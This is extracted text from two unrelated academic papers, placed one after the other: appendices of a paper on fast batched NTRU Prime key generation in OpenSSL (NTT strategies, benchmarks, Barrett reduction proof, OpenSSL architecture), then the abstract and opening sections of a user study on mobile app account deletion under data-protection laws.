OpenSSLNTRU results—also specified 953, 1013, and 1277.

NTRU Prime specifies two cryptosystems: Streamlined
NTRU Prime (sntrup), an example of Quotient NTRU,
and NTRU LPRime (ntrulpr), an example of Product
NTRU. For example, dimension 761 has both sntrup761
and ntrulpr761. The two cryptosystems are almost identical
in key sizes, ciphertext sizes, and Core-SVP security. The
ntrulpr cryptosystems avoid the Quotient NTRU inversions
and have much faster keygen than sntrup, but they have
slower enc and slower dec than sntrup.
Preexisting AVX2-optimized software. The official NTRU
Prime “optimized C software” uses Intel AVX2 instructions
and supports dimensions 653, 761, 857. Some of the code
is shared across sizes except for compile-time selection of q
etc. There is less sharing of the multiplier code across sizes:
dimensions 653 and 761 use mult768.c, which uses size-512
NTTs to multiply 768-coefficient polynomials; dimension
857 uses mult1024.c, which uses size-512 NTTs to multiply
1024-coefficient polynomials. An underlying ntt.c is shared
for computing size-512 NTTs, and the same NTT code is
used for each of the NTT-friendly primes r ∈ {7681,10753},
but multiplication algorithms vary between mult768.c and
mult1024.c: for example, mult768.c uses “Good’s trick” to
reduce a size-1536 NTT to 3 size-512 NTTs, taking advantage
of 3 being odd, while mult1024.c uses a more complicated
method to reduce a size-2048 NTT to 4 size-512 NTTs. The
NTT API allows these 3 or 4 independent size-512 NTTs to be
computed with one function call, reducing per-call overheads
and also reducing the store-to-load-forwarding overheads in
crossing NTT layers.
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Improvements. We first built a tool to regenerate 653, 761,
and 857 in the optimized C implementation from a merged
code base. We then added support for 953, 1013, and 1277,
which in previous work had only reference code. This meant,
among other things, building a new mult1280.c to reduce
a size-2560 NTT to 5 size-512 NTTs. Good’s trick is ap-
plicable here since 5 is odd, but we were faced with a new
mini-optimization problem regarding the number of AVX2 in-
structions needed for 5-coefficient polynomial multiplications
modulo r. The best solution we found uses 15 modular multi-
plications, 2 extra reductions, and 34 additions/subtractions.

We then built a new tool to compile concise descriptions of
NTT strategies into optimized NTT software. This tool is anal-
ogous to SPIRAL [30], but handles the extra complications of
NTTs compared to floating-point FFTs, notably the require-
ment of tracking ranges of intermediate quantities so as to
avoid overflows. Note that one should not confuse automated
generation of NTTs with automated generation of multipliers;
it remains challenging to automate code generation for the
type of multipliers that we consider in Section 3.

Armed with this tool, we searched for efficient size-512
NTT strategies to replace the previous ntt.c. We found a
fully vectorizable strategy that avoids all overflows for both
r = 7681 and r = 10753; uses just 6656 16-bit multiplications;
uses just 6976 16-bit additions (counting subtractions as addi-
tions); stores data only every 3 NTT layers; and has only 4
layers of permutation instructions. To put this in perspective,
if each of the 9 NTT layers had 256 modular multiplications,
512 additions, and zero extra modular reductions, then in total
there would be 6912 16-bit multiplications and 6912 16-bit
additions, since each modular multiplication costs 3 16-bit
multiplications and 1 16-bit addition.

B Comparing ntruhrss

CECPQ2’s ntruhrss701 keygen, like OpenSSLNTRU’s
sntrup761/sntrup857 keygen, is bottlenecked by inversion.
Conceptually, everything this paper does for sntrup can also
be done for ntruhrss, starting with converting a batch of 32
ntruhrss inversions into 1 inversion plus 93 multiplications.
This appendix explains two factors making this strategy less
attractive for ntruhrss compared to sntrup.

First, a reasonable estimate, based on a close look at the
underlying algorithms, is that there would be only about a
2× speedup from ntruhrss keygen to batched ntruhrss
keygen, much less than the speedup we achieve for sntrup.

The reason is as follows. Unbatched keygen is bottle-
necked by inversion, and ntruhrss exploits one of its de-
sign decisions—a power-of-2 modulus, which sntrup avoids
because of security concerns—for a specialized type of in-
version algorithm, a “Hensel lift”. Batched keygen is instead
bottlenecked by multiplication, and benefits much less from
a power-of-2 modulus. The Hensel speedup would still be
measurable inside the occasional inversion, but batch size 32

compresses this speedup by a factor 32. One can see some
speedup from sntrup761 to ntruhrss701 in multiplications
(because of the modulus and the lower ntruhrss701 security
level), but the ultimate difference in keygen speeds will be
an order of magnitude smaller than the difference in keygen
speeds before this paper.

Second, the network-traffic-vs.-security-level trade-off is
worse for ntruhrss than for sntrup. For example, Ta-
ble 1 shows that ntruhrss701 sends 3.6% more traffic than
sntrup761, despite having only 89% of the security level
(Core-SVP 2136 vs. 2153).

An existing cost model estimates that 1000 CPU cycles
have the same cost as communicating a byte of data: e.g.,
a quad-core 3GHz server has the same cost as a 100Mbps
Internet connection. An easy calculation from Table 1 con-
cludes that higher-security sntrup761 would still cost 1.8%
below ntruhrss701 in this model even after a 2× speedup in
ntruhrss701 keygen. Making ntruhrss competitive with
sntrup, accounting for the security level, would require not
just this speedup but also focusing on environments where
communication is more than 10× cheaper.

C Barrett reduction correctness

Recalling Section 3.1.1, Barrett reduction estimates g/ fi as
h = bg/ fic. Then it calculates the remainder as r = g− g ·
bg/ fic · fi. We compute the difference between (g/ fi) · fi and
bg/ fic · fi. It is the remainder r if the difference has degree
less than deg( fi).

Using the pre-computation xDg = qx · fi + rx, we have

g/ fi = g · (xDg/ fi) ·1/xDg = g · (qx− rx/ fi) ·1/xDg .

We compute the difference

(g/ fi) · fi−bg/ fic · fi

= (g ·qx/xDg −
⌊
g ·qx/xDg

⌋
) · fi−g(rx/ fi) fi/xDg .

(3)

Define h =
⌊
g ·qx/xDg

⌋
= bg/ fic and l = g ·qx/xDg − h.

The term (g ·qx/xDg −
⌊
g ·qx/xDg

⌋
) · fi = l · fi in Equation 3

has degree less than deg( fi). The other term g(rx/ fi) fi/xDg

also has degree less than deg( fi), since deg(g) < Dg and
deg(rx)< deg( fi).

D More on benchmarks

Batch key-generation microbenchmarks. Table 3 shows the
performance and key pair storage of BatchKeyGen regarding
various batch sizes n.

In-browser handshake macrobenchmarks. Section 4.4 de-
scribed how we developed tls_timer, a dedicated handshake
benchmarking client, to measure the end-to-end performance
of OpenSSLNTRU. The need to fully control the sampling
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Table 3: Performance of BatchKeyGen regarding various batch sizes n.
n 1 2 4 8 16 32 64 128

sntrup653

amortized cost† 778218 438714 295150 229429 180863 164260 152737 147821
latency† 778218 877428 1180600 1835432 2893808 5256300 9775160 18921036

key pair storage‡ 2512 5024 10048 20096 40192 80384 160768 321536
memory footprint‡? 30432 36184 54808 65432 85880 127672 211480 378424

sntrup761

amortized cost† 819332 567996 351329 242043 181274 156317 147809 141411
latency† 819332 1135992 1405316 1936340 2900380 5002124 9459748 18100592

key pair storage‡ 2921 5842 11684 23368 46736 93472 186944 373888
memory footprint‡? 117200∗ 38608 58040 70456 94584 143288 240536 435512

sntrup857

amortized cost† 1265056 708104 458562 322352 255815 216618 201173 193203
latency† 1265056 1416208 1834248 2578812 4093040 6931748 12875024 24729872

key pair storage‡ 3321 6642 13284 26568 53136 106272 212544 425088
memory footprint‡? 38648 45520 65176 78840 106392 161216 270912 490336

† (Haswell cycle). ‡ (Byte). ? Benchmark with ‘valgrind --tool=massif --stacks=yes’.
∗ The implementation uses the ‘jump-div-step’ optimization in [11], consuming more stack space.

process with tls_timer, arose after an initial attempt to mea-
sure the end-to-end performance from within the GNOME
Web browser. Specifically, we originally designed the exper-
iment to let the browser first connect to a web server via
stunnel to retrieve a static HTML page. This in turn embed-
ded JavaScript code to open and time a number of connections
in parallel to further retrieve other resources from a web server.
We designed these resources to:

• have short URI to minimize application data in the client
request, which length-wise is dominated by HTTP head-
ers outside of our control;

• have randomized URI matching a “rewrite rule” on the
web server, mapping to the same file on disk. This al-
lows the server to cache the resource and skip repeated
file system accesses, while preventing browser optimiza-
tions to avoid downloading the same URI repeatedly or
concurrently;

• be short, comment-only, JavaScript files, to minimize
transferred application data from the server, and, on the
browser side, the potential costs associated with parsing
and rendering pipelines.

Unfortunately, this approach proved to be unfruitful, as the
recorded measures were too coarse and noisy. This is mostly
due to the impossibility of completely disabling caching on
the browser through the JavaScript API and developer options,
delayed multiplexing of several HTTP requests over a single
TLS connection, ignored session keep-alive settings, and, pos-
sibly, the effect of intentionally degraded clock measurements
when running JavaScript code fetched from a remote origin.

E OpenSSL: software architecture

Section 4.1 details the part of our contributions consist-
ing of a set of patches that applies to the source code
of OpenSSL 1.1.1. We designed our patches to provide

full API and ABI compatibility with binary distributions of
OpenSSL 1.1.1, while transparently enabling linking appli-
cations to perform post-quantum key exchanges in TLS 1.3
handshakes. The description of details of our contribution
relies on various technical concepts regarding OpenSSL; this
appendix reviews this background.

Illustrated in Figure 4, as a library to build external applica-
tions, OpenSSL is divided into two software libraries, namely
libcrypto and libssl. The former provides cryptographic
primitives and a set of utilities to handle cryptographic objects.
The latter implements support for TLS 1.3 and other proto-
cols, deferring all cryptographic operations and manipulation
of cryptographic objects to libcrypto.

Due to its legacy, libcrypto exposes a wide programming
interface to users of the library, offering different levels of
abstraction. Currently, the recommended API for external
applications and libraries (including libssl) to perform most
cryptographic operations is the EVP API. See https://www.
openssl.org/docs/man1.1.1/man7/evp.html.

The EVP API, especially for public key cryptography,
offers a high degree of crypto agility. It defines ab-
stract cryptographic key objects, and functions that op-
erates on them, in terms of generic operations (e.g.,
EVP_PKEY_encrypt()/EVP_PKEY_decrypt()). This lets the
libcrypto framework pick the algorithm matching the key
type and the best implementation for the application platform.
Using the API appropriately, a developer can write code that
is oblivious to algorithm selection. That is, leaving algorithm
adoption choices to system policies in configuration files, or
in the creation of the serialized key objects fed to libcrypto.

In this work, we patch libssl to support the negotiation
of KEM groups over TLS 1.3, mapping KEM operations over
the existing EVP API. The API itself does not include ab-
stractions for the Encapsulate() and Decapsulate()
KEM primitives.
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Abstract
Account deletion is an important way for users to exercise

their right to delete. However, little work has been done to

evaluate the usability of account deletion in mobile apps. In

this paper, we conducted a 647-participants online survey cov-

ering two countries along with an additional 20-participants

on-site interview to explore users’ awareness, practices, and

expectations for mobile app account deletion. The studies

were based on the account deletion model we proposed, which

was summarized from an empirical measurement covering 60

mobile apps. The results reveal that although account dele-

tion is highly demanded, users commonly keep zombie app

accounts in practice due to the lack of awareness. Moreover,

users’ understandings and expectations of account deletion

are different from the current design of apps in many aspects.

Our findings indicate that current ruleless implementations

made consumers feel inconvenienced during the deletion pro-

cess, especially the hidden entry and complex operation steps,

which even blocked a non-negligible number of users ex-

ercising account deletion. Finally, we provide some design

recommendations for making mobile app account deletion

more usable for consumers.

1 Introduction

Mobile apps overtook PC Internet usage many years ago [16].

Statistics up to 2021, there are more than three million apps

on Google Play Store and two million apps on Apple Store

developed by different vendors [18]. The smartphone plays

an important role in daily life and people have gathered a long

list of app accounts over the years. In order to better serve the

users, app vendors collect and store a large amount of users’

personal information, which raises severe security and privacy

concerns [4, 26]. Therefore, many regions across the world

have passed data protection laws, such as the General Data

Protection Regulation (GDPR) in the EU [6], California Con-

sumer Privacy Act (CCPA) in California, the U.S. [2] and the

∗Corresponding authors: Yan Jia and Zheli Liu

Personal Information Protection Law (PIPL) in China [21],

which explicitly grant people the rights to manage their per-

sonal information.

The right to have personal data erased is one of the impor-

tant rights for privacy protection, for example, “the right to

be forgotten” in GDPR (Article 17) [6], “consumers’ right

to delete personal information” in CCPA (1798.105) [2], and

“the right to request deletion” in PIPL (Article 47) [21].1 Thus,

vendors have designed mechanisms for customers to exer-

cise their deletion right when necessary. Users can optionally

delete their specific data, such as activity data on Google ser-

vices [12] and posts on social platforms like Facebook. Prior

work studied users’ understandings and practices of this kind

of initiative data deletion, including online data [45, 46, 52],

cloud data [38,47] and data in old devices [32]. However, little

work has been done to study users’ understandings of account

deletion, which is also an important mechanism designed by

vendors for excising RTD when users stop using apps.

Motivation. Omitted account deletion leads to the prolifera-

tion of zombie accounts, which may cause serious security and

privacy consequences [11]. A number of essentially defunct

platforms, such as Myspace [17] and Google+ [23], suffered

from data breaches that affected tens of millions of users who

may not have used the platforms in years [10]. Those accounts

that are no longer in use will make users’ online records and

personal information preserved for a long time, increasing the

risk of the disclosure of personal information [13, 25]

A few prior works [34, 35] discussed the design and user

perspectives of data deletion on the Web. However, the user

interface and needed operations in mobile apps have key

differences from the Web, which lead to new challenges

for users to fully understand and fulfill the account deletion

procedure and thus new privacy implications. For example,

uninstalling apps may confuse users with account deletion,

and cross-app operations may annoy users (Section 6.3).

Further, in the real world, the account deletion process is

1These rights in different regions have a little difference but hold sim-

ilar meanings. This study calls them the right to deletion (RTD) without

differences.
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designed heterogeneously by different app vendors in the

absence of standard practices. For example, the Instagram
app does not have a button for account deletion. Users need

to access the “Delete Your Account page” from a browser [8].

For Affirm app, users have to write an email to the app vendor

to delete their accounts. Recently, Apple released a new

policy that requires all vendors to provide a pathway for

account deletion within the app by January 31, 2022 [1].

Our study. In this paper, we take a first step toward under-

standing the users’ perspectives and practices on the mobile

app account deletion. We conducted a 647-participants online

survey covering two countries (279 in the United States and

368 in China) along with an additional 20-participants on-site

interview to explore users’ awareness, practices, and expecta-

tions for account deletion. The designed questionnaires were

motivated by and based on our empirical measurement of 60

popular apps’ account deletion process (Section 4), which first

proposes a full view model of mobile app account deletion.

Our findings answer the following research questions:

RQ1: [Necessity and Awareness] Is account deletion neces-
sary in people’s daily life and are users aware of protecting
data through account deletion?

In our online survey, most participants were willing to

take actions to protect their personal data (89%) and didn’t

want the data to be continuously used by app vendors when

the apps were no longer used (95%). However, a consider-

able portion of participants (75%) likely kept accounts that

should have been deleted, which reveals that account deletion

is necessary for users, but users’ practices are contradictory to

their desire for data protection. Our results highlight that the

public’s awareness of account deletion needs to be seriously

improved.

RQ2: [Practice and Understanding] How many users exer-
cised mobile account deletion in practice and how do they
understand it?

The online survey shows that more than half of the par-

ticipants (55%) had successful account deletion experience

although zombie accounts exist widely, while about one-third

of the participants never tried to delete an account mostly due

to unawareness of the account deletion. Also notably, the un-

friendly design of the account deletion operation significantly

hindered or blocked a considerable number of participants

for account deletion. Furthermore, we find participants who

had the experience of account deletion tend to read relevant

instructions, while most people, in general, did not understand

or believe the real effect of account deletion.

RQ3: [Feeling and Expectation] Do account deletion designs
in modern mobile apps meet users’ expectations?

We investigated this question by online surveys and an

additional offline interview that can better inform users’ fresh-

memory feelings. The majority of the participants felt incon-

venience during deletion processes, especially the entry points

that are difficult to find and complex operation steps. The idea

mentioned most was simplifying account deletion, “I just

want it to be easy to find and handle.” 70% of our participants

thought that the existing account deletion design can not meet

their expectations. The potential reasons for the gap between

users and apps are the lack of a standard for account deletion,

as discovered in our study.

Contributions. Contributions of the paper are as follows:

• New issue revealed. This study takes the first step toward

understanding the mobile account deletion from the user per-

spectives. Our user study reveals a new issue that the right to

deletion is highly demanded but account deletion, an impor-

tant way to exercise the right, is usually neglected by users.

Thus, new efforts should be done to help users exercise their

right to deletion.

• New design gap identified. We did an empirical measure-

ment study on sixty typical apps and concluded an account

deletion model, based on which we conducted an online user

survey and an offline interview about users’ feelings and ex-

pectations about app account deletion. Results show that the

app account deletion design today is too complicated and

cannot meet most users’ expectations.

• New suggestions. Based on the survey results and users’

open responses, we proposed several suggestions for design-

ers and vendors to improve users’ consciousness of the right

to deletion and help them better exercise the account deletion

in a more usable way, which contributes to better protecting

the data security and privacy of users.

2 Background

2.1 The Right to Deletion

Many countries and districts have enacted laws to protect

the data of individuals, constraining the companies and busi-

nesses that collect and process data. The right to deletion

(RTD) is widely acknowledged around the world. Under cer-

tain conditions, the information subjects have the right to ask

the information controller to delete their personal information,

and the information controller has the obligation to delete it.

In May 2018, GDPR of the European Union stipulated “the

right to be forgotten (RTBF)”, which contains the meaning of

RTD [6]. Compared with RTBF, RTD is more wildly stipu-

lated in data protection laws of other regions around the world.

For example, California Consumer Privacy Act (CCPA [2])

and Personal Information Protection Law (PIPL [21]), were

approved in August 2020 and November 2021 in California,

the U.S. and China, respectively. The laws both grant users

the right to make a verified request to vendors to delete their

personal data. Although the content of RTD in different re-

gions may be slightly different, this work mainly focuses on

the common, core concepts and uses the term RTD. That is,

RTD generally mandates that if a user requests the vendor to

delete his or her personal data, the vendor is legally required to

delete the requestor’s personal information in most situations.
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2.2 Account Deletion

Conforming to data protection laws, app vendors provide

mechanisms for users to manage their data. Implementations

of RTD vary from the ability of consumers to delete certain

information related to their profiles to account deletion request

forms [35]. When a user decides no longer to use an app

or never again wants access to the profile, friends, photos,

etc., he or she can make use of the account deletion function

to request the app vendor to delete most data belonging to

the account, which usually includes personally identifiable

information and account information like the nickname and

browsing history. Once the request is received, the app vendor

deletes or anonymizes the data of that account.

Account deletion is supported by nearly all common apps

and is usually specified in the privacy policy or the help cen-

ter. However, due to the absence of a standard and diverse

applications, different vendors may have different designs

and implementations of the account deletion [9]. For example,

the effect of account deletion is illustrated differently by ven-

dors. According to the policy of Spotify [24], “we’ll delete or
anonymize your personal data so it no longer identifies you
unless we’re required to keep something or we still need to use
it for a legally justifiable reason.” By contrast, Facebook [5]

explains what will be deleted or kept more clearly: “we delete
things you have posted, such as your photos and status up-
dates, and you won’t be able to recover that information later.
Information that others have shared about you isn’t part of
your account and won’t be deleted.” The implementation of

the account deletion process also varies. A WhatsApp user

can find the account deletion entry by tapping “More options
> Settings > Account > Delete my account” in the mobile

app and complete deletion, as shown in Figure 1, while an

Instagram user has to visit the account page in the browser for

account deletion. Motivated by such an observation of ours,

we performed an empirical measurement study on sixty popu-

lar apps to better understand and generalize account deletion

practices developed by different vendors today (Section 4).

Figure 1: How to delete the WhatsApp account

3 Related Work

Privacy choices. It is generally considered that users may

make privacy choices or configure privacy settings on web-

sites and in mobile apps, with discretion over the collection,

use, sharing, and retention of their data. Data deletion is usu-

ally considered part of privacy choices. In the context of the

Web, Sathyendra et al. [51] and Kumar et al. [31] proposed

machine learning and NLP based methods to extract privacy

choices from privacy policies to help users discover the set-

tings of websites. Except for privacy policy analysis, Habib

et al. [35] conducted an empirical study on 150 websites in

2019 to assess the usability and interaction paths of the pri-

vacy choice design, which identified several issues that may

make it difficult for users to find or exercise their choices.

In the context of mobile apps, there are some works that fo-

cus on privacy setting recommendation [39–41]. Only Chen

et al. [33] focus on in-app privacy settings from the users

perspectives. They developed an automatic analysis tool to

identify the privacy setting UI and found that one-third of the

privacy settings in apps are hidden.

Compared to many prior works on general privacy choices,

a few [35, 38, 45–47, 52] systematically studied data deletion

and focused on the Web particularly. By contrast, our work

pays attention to the account deletion of modern mobile apps.

In particular, our study first comprehensively evaluated the ac-

count deletion design of mobile apps (Section 4), and reveals

that the UI designs and required user operations in mobile

apps for account deletion are different (Section 6.3), leading

to new challenges for users to fully understand and fulfill

account deletion procedure and thus new privacy implications

or even legal non-compliance issues. Notably, our systematic

study is based on a new, generalized model of account dele-

tion in mobile apps, which is fundamental to further guide us

to better survey users’ awareness, practices, and expectations

in the mobile context.

Users’ perception of data deletion. To the best of our knowl-

edge, few prior works focused on this area, possibly due

to RTBF being just legally acknowledged recently, e.g., by

GDPR in 2018. Before that, Herrmann et al. [36] quantified

the effectiveness of the right of access to personal data in

Germany. They found that for both apps and websites, only

52% to 57% of account deletion requests were answered sat-

isfactorily by vendors. Mangini et al. [42] first investigated

users’ perspectives on GDPR’s right to be forgotten. They

showed that GDPR, including the right to be forgotten arti-

cle, was costly and difficult to implement. Murillo et al. [46]

explored users’ understandings of online data deletion and

identified two major views on online deletion: UI-Based and

Backend-Aware. Habib et al. [34] evaluated the usability of

websites’ privacy choices by a user study revealing the design

was difficult for consumers to exercise in practice. Some work

focuses on users’ perceptions of a certain deletion function.

For example, [45, 52] focused on the posts on social media
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and messages on communication applications respectively,

and [38, 47] focused on the data stored on the cloud. Besides

online services, Hassan Khan et al. [32] investigated users’

practices on the data deletion of old devices for disposal.

By contrast, we focus on the account deletion function de-

veloped by mobile apps, which is an important way to exercise

RTD but much less studied than on the Web. We provide the

first systematic study and approach, up to our knowledge, to

identify the gap between modern mobile app account deletion

designs and users’ practices and expectations, which com-

plements prior studies. Based on the new understanding, we

further provide new insights and recommendations in the

mobile context for addressing usability issues to effectively

exercise account deletion and fulfill the RTD.

4 Pre-Study

Since there are no clear regulations on account deletion, the

practices of vendors vary. To answer RQ2 and RQ3, as a first

step in exploring users’ attitudes towards account deletion,

we need to have a full view of vendors’ account deletion

practices. In this section, we conducted an empirical measure-

ment of app account deletion practices as the pre-study and

summarized a general account deletion process model.

4.1 Methodology
To summarize the account deletion practice of common apps,

we first picked sixty apps in China and the U.S. (with the full

list released online [7].) Second, we manually explored and

recorded the whole deletion process of those apps with a new

smartphone, email address, and phone number. Finally, we

summarized the whole process based on our observations and

the tutorial websites [3, 9, 15] which provide the information

on “How to Delete online accounts”.

App sampling. To generally ground our investigation of ac-

count deletion, we selected sixty apps with different popular-

ity levels based on the leaderboards of app stores in China

and the U.S.

For China, as there is not a dominant app store, we se-

lected popular apps from four highly popular app stores pro-

vided by major smartphone manufacturers, i.e., Xiaomi [30],

Huawei [14], Oppo [19] and Vivo [28]. To deal with different

app popularity rankings in four app stores, we leverage a sim-

ple weighting method to assign a standard popularity score

to top apps in these app stores. Specifically, for the top 200

apps in each store, we assigned a progressively decreasing

score (20 to 1) to them based on the ranks (e.g., top 10: 20,

top 11-20: 19, rank 191-200: 1). The final popularity score of

an app is the additions of all scores in the four app stores. For

example, if an app appeared at the top 10 in three stores and

top 11-20 in another store, it got a score of 79. After finishing

scoring the 200 apps in each store and removing duplicates,

we got 372 apps in total. We divided these apps into three

groups based on the popularity score ranking almost evenly

and randomly sampled 10 apps from each group.

For the U.S., we chose Google Play’s “top 200 free

apps” [27] list as the popularity indicator. Based on the app

popularity ranking in the Chinese app stores, a portion of

apps tied for their ranking. For better consistency between

the distribution of apps in the U.S. and Chinese app stores,

we divided apps into three categories of popularity (with the

middle rank having slightly more apps): top (ranks 1 - 65),

middle (ranks 66 - 135), and low (ranks 136-200) and ran-

domly selected 10 from each group as samples.

Altogether, we sampled 60 apps from the Chinese app

stores and the U.S. All the ranking lists were obtained in

October 2021 and our results may be limited to the specific

time window of the research and the market’s ranking lists.

Exploring process. With a new phone, email address, and

phone number, we carefully explored the full account deletion

process of these sampled apps. For each app, we registered

a new account and used it for at least half an hour like nor-

mal users, such as filling in the profile information, posting

articles, and browsing news. Then, we started deleting the

account and paid special attention to the whole operation pro-

cess (both in-app and out-app) and all related text explanations

about the account deletion during the experiment. Specially,

we recorded, not limited to, the operation steps, conditions of

account deletion and any popup notifications or instructions.

In this process, we tried to summarize an account deletion

model. It was first proposed by the expert based on the obser-

vations on account deletion practice of a subset of apps. Then

different researchers checked the model on other apps and

feedback inconsistency to the expert to continue adjusting the

model until it could match all the test apps.

4.2 Results and the Account Deletion Model
Through our experiment, we observed that different apps had

different settings for account deletion. There was no fixed

rule for the deletion locations or steps. The instructions for

account deletion may appear in the deletion process, in the

privacy policy, or in Q&A. The content mentioned in these in-

structions also varied from the conditions of account deletion

to the effects of deletion. In general, the mobile app account

deletion consists of four components: operation, condition,
effect, and time frame, as shown in Figure 2.

Operation Deletion request 

Effect
Condition

Informationcheck

Time Frame

Figure 2: General account deletion process
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Operation. The operation refers to the actions that a user

needs to perform for completing the account deletion. It in-

cludes two parts: discovering the account deletion entry (En-

try) and finishing the account deletion request (Steps).

Finding the entry is the first step for users to apply for ac-

count deletion. Users can apply for the account deletion on

their mobile phones, via the self-service portal on websites, or

by sending an email to the customer service. According to our

experiment, eight apps did not support self-service deletion

and three apps required users to complete the deletion on the

websites, which account for 18% (11/60) in total. Excluding

apps that do not support self-service deletion, 65% (34/52) of

the apps offer the account deletion choice under an “Account
Setting” or “Settings” page inside the apps, which was rela-

tively easy to find. 19% (10/52) of the entries were located in

the FAQ or help center. Users need to follow the guide step by

step to get the account deletion option. After finding the entry

of account deletion, users need to go through several steps to

finish the request, which depends on specific implementations

of different apps. We have summarized the following three

common operation steps: notification (65%, 34/52), authenti-

cation (42%, 22/52), and reason gathering (31%, 16/52). The

results show that there is no clear standard for how to delete

the account. On average, users need to click 6.14 times to

complete the process, including 4.01 clicks to find the account

deletion option.

Condition. Account deletion conditions are a common com-

ponent set by vendors to verify whether the requested account

can be deleted. Most of the conditions are written in the pri-

vacy policy or help center along with deletion instructions.

These are designed for security reasons or business require-

ments according to the apps. For example, Figure 3(a) shows

the conditions of Bigo Live. We also found that some apps

(8%, 4/52) require users to do some preprocessing before

deleting their accounts. For example, Pandora [20] stated

“Subscribers who would like to completely delete their Pandora
accounts will first need to cancel their subscription, ...”
Effect. Once requests from users are accepted, vendors will

start the account deletion process. The effect of account dele-

tion mainly refers to the types of data to process and the pro-

cessing methods (e.g., deletion or anonymization). We classi-

fied the data to be deleted or anonymized into ten categories,

based on privacy policies and in-app statements (Q19 in Sec-

tion 6.2.1). 65% (34/52) of the apps indicated the types of

data that would be deleted based on their instructions. Among

them, account information was mentioned most (79%, 27/34).

32% (11/34) apps indicated that the personal information like

email address and phone number would be deleted after delet-

ing the account. In addition to deletion, anonymization is

another common processing method that is acceptable by law.

In the tested apps, 58% (30/52) mentioned that anonymization

technology would be used to process users’ related informa-

tion after deleting their accounts.

Time frame. The time frame varies by apps to respond to the

(a) The conditions of Bigo Live (b) The time frame of Snapchat

Figure 3: App account deletion settings we encountered in

pre-study. (a) is the deletion conditions of Bigo Live, and (b)

shows the notification of the time frame of Snapchat.

user’s deletion request and fulfill the process. This is likely

due to the lack of clear specifications and requirements in

the laws; for example, GDPR stated that “Businesses must

respond to your request within 45 calendar days,” but failed

to specify the expected time frame for the vendor to complete

the deletion. 42% (22/52) of the tested apps informed users

of the time frame. During this period, the account would be

inactive and a few apps allowed users to withdraw the deletion

requests. The length of this period ranges from right away to

one year at most (14.75 days on average). Figure 3(b) shows

the notification of the time frame in Snapchat.

5 Method

Our study addressed the three research questions as follows.

First, to understand the necessity of account deletion and

users’ awareness of utilizing account deletion to protect

personal data (RQ1), we investigated how users dealt with

the app accounts that they no longer used. To identify cur-

rent users’ practices and understandings of account deletion

(RQ2), we asked participants about their own experience of

account deletion, the potential reasons behind these behaviors,

and what their cognition of account deletion was. To assess

users’ feelings and expectations of account deletion (RQ3),

we asked participants how they felt during the account dele-

tion process and what their expectations were in the online

survey. It may have been a long time since the participants

last deleted an account, and their memories of the account

deletion process may be blurred. So we supplemented an in-

dependent offline semi-structured interview to better collect

users’ feelings and expectations. The designs of our online

survey and the on-site interview are guided by our model

proposed in the pre-study (Section 4). Note that our study

was approved by our IRB and we did not collect or store any

personally identifiable information (PII) of the subjects.
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5.1 Survey Instrument
This section will explain the study procedure of our online

survey and the offline semi-structured interview. This survey

was conducted in both the U.S. (in English) and China (in

Chinese). Due to the differences of the laws and popular apps

between the two countries, we made slight modifications to

several expressions (e.g., replacing some words or adding one

or two questions) to make them in line with the local practices.

The contents of the questionnaire stay consistent in different

languages. The full questionnaire is shown in the Appendix.

5.1.1 Online Survey

The survey started with some questions about demographics

and a question asking whether the participant is familiar with

using smartphones. Those who have never used a smartphone

were excluded from the study. The survey begins with de-

mographic questions in an attempt to reveal whether certain

participants never used smartphones and their demographics.

Analysis of the demographics will be reported in Section 5.2.

The survey consists of the following three main parts.

Part 1: Necessity and awareness. The questions of this

part are structured around two problems: (1) whether par-

ticipants were willing to protect their personal data, and (2)

whether there were scenarios where participants should have

deleted mobile app accounts. We first asked all the partici-

pants whether they knew the rights in the law of protecting

personal data and whether they were willing to protect the

data. Then we provided a scenario to the participants in which

the account should be deleted and asked them what they would

do. Next, we inquired the participants whether they had app

accounts that were no longer used and what the status of these

accounts was with a series of questions. Following this, we

asked participants if they knew the impact of forgetting to

delete an account or had a negative experience with a brief

free-text justification. At last, we designed a question to get

their concerns about the storage and use of data in zombie

accounts.

Part 2: Practice and understanding. We first inquired par-

ticipants about the experience of deleting accounts. Then we

asked participants who deleted accounts the types of apps

and corresponding reasons, who tried account deletion but

failed the reasons for the failure, and who never tried the

reasons for not doing so. For participants’ convenience, we

presented some possible reasons for them to choose from

along with an optional open-ended response. Next, we asked

participants how much attention they paid to policies (or in-

structions) about account deletion. At last, we collected their

understandings of account deletion. For participants in the

U.S., we additionally obtained their understandings of account

deactivation, which could be easily confused with account

deletion.

Part 3: Feeling and expectation. Before moving on to col-

lecting users’ expectations, we asked participants who had

account deletion experience whether there was any inconve-

nience during the deletion operation. Note that this question

(Q21) was put in Part 2 to improve the fluency of response.

The multi-select choices include “no inconvenience”, “too

strict condition”, “undiscoverable entry”, “complicated proce-

dure”, “long deletion time”, and “other” with a brief free-text

justification. Also based on the model we summarized in the

pre-study, we set questions to get participants’ expectations

on the four components (operation, condition, effect, and time
frame, see Section 4).

5.1.2 Offline Interview

We conducted an offline interview to collect users’ fresh-

memory feelings and expectations about the account deletion

(RQ3). We began the interview by obtaining consent and ex-

plaining the purpose of the study. We used a semi-structured

interview protocol to probe participants for more information

(with the guideline released online [7]). The offline inter-

view was conducted from November 2021 to March 2022 in

reserved classrooms on our university campuses. We inter-

viewed participants offline to ensure the consistency of the

experiment equipment and to avoid misoperations on their

own phones and accounts. We also strictly followed the CDC

guidelines related to COVID-19 at the time including “so-

cial distancing” and “consistent and correct mask use.” The

interview includes the following two parts:

Part 1: Experiment. In this part, each subject was provided

with an up-to-date Android smartphone with our SIM card

and asked to completely delete accounts of three apps. The

apps we selected in this part were a subset of the sixty sam-

pled apps in the pre-study. Specifically, we used the composite
scores method [44] to divide the sixty apps into three groups

according to the operation complexity of account deletion.

The items impacting an app’s composite score are Opera-
tion Entry and Operation Steps, which could directly affect

users’ experience and thus feelings about account deletion of

the app. We used a unit weighted model and each item was

equally weighted. The final score for each app is calculated

as: X = mean(Operation Entry,Operation Step). The scor-

ing criteria are shown in Table 1. Based on the scores, we

divided the apps with 3-points, 2-points, and others (1-point

or 0-point) into three groups (a higher point indicates that the

app offers relatively simpler or less complicated operations

for account deletion). We then selected three apps from each

group to obtain Group A, B, and C for this experiment. For

the interview of each participant, from these nine apps, we

randomly chose one app from each group. Before the exper-

iment started, we registered and logged into the experiment

accounts for these apps, provided participants with related

credentials, and told them to treat the accounts as their own.

In addition, during the experiment, participants could pause

the experiment at any time once they felt uncomfortable, such

as not being willing to make a phone call or sending an email
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Table 1: Composite scores table for account deletion.
Dimension Items Scores

Operation: Entry

Common path* 2

Hidden path 1

